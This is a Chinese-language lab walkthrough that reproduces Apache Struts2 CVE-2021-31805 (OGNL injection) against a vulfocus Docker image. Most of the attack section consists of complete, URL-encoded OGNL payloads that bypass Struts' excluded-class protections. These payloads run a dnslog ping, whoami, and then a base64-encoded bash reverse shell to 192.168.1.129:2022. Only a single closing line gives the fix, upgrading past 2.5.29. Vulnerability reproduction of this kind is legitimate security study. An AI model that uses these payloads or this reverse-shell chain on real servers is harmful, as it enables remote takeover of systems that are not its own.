| 漏洞名称 | 远程代码执行漏洞 |
|---|---|
| 漏洞编号 | CVE-2021-31805 |
| 危害等级 | 高危 |
| CVSS评分 | 8.5 |
| 漏洞类型 | 中间件漏洞 |
| 漏洞厂商 | Apache |
| 漏洞组件 | Struts2 |
| 受影响版本 | 2.0.0 <= Struts2 <= 2.5.29 |
| 漏洞概述 | 该漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id)的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 的值用户可控时,用户再传入一个 %{payload}即可造成OGNL表达式执行。在CVE-2021-31805漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行,导致远程代码执行。 |
拉取镜像
docker pull vulfocus/structs2-cve2021_31805
{width=“5.7625in”
height=“2.5972222222222223in”}
运行
docker ruun -d -p 80:8080 vulfocus/structs2-cve2021_31805
{width=“5.761111111111111in”
height=“0.22361111111111112in”}
访问

使用dnslog生成一条子域名
{width=“4.166666666666667in”
height=“2.816666666666667in”}
访问漏洞url并且抓包
{width=“4.708333333333333in”
height=“2.1666666666666665in”}
更改请求方法为POST方式,并且把参数修改为恶意payload
name=name
=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping 2htngs.dnslog.cn'}))
{width=“5.759027777777778in”
height=“2.6756944444444444in”}
返回dnslog查看,发现成功ping到了,说明存在该漏洞
{width=“5.759722222222222in”
height=“2.8604166666666666in”}
构造恶意payload,查看whomai信息
name=name
=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))
{width=“5.763194444444444in”
height=“2.772222222222222in”}
对要生成的反弹shell命令进行bash编码
bash -i >& /dev/tcp/192.168.1.129/2022 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjIgMD4mMQ==}|{base64,-d}|{bash,-i}
bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjIgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}
{width=“5.763194444444444in”
height=“2.05625in”}
将编码后的payload加入加入到exec参数中
name=name
=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI5LzIwMjIgMD4mMQ%3D%3D}|{base64,-d}|{bash,-i}'}))
{width=“5.763194444444444in”
height=“2.1465277777777776in”}
反弹成功
{width=“5.091666666666667in”
height=“1.3583333333333334in”}
1、推荐的解决方案:升级至比Struts 2.5.29更高版本。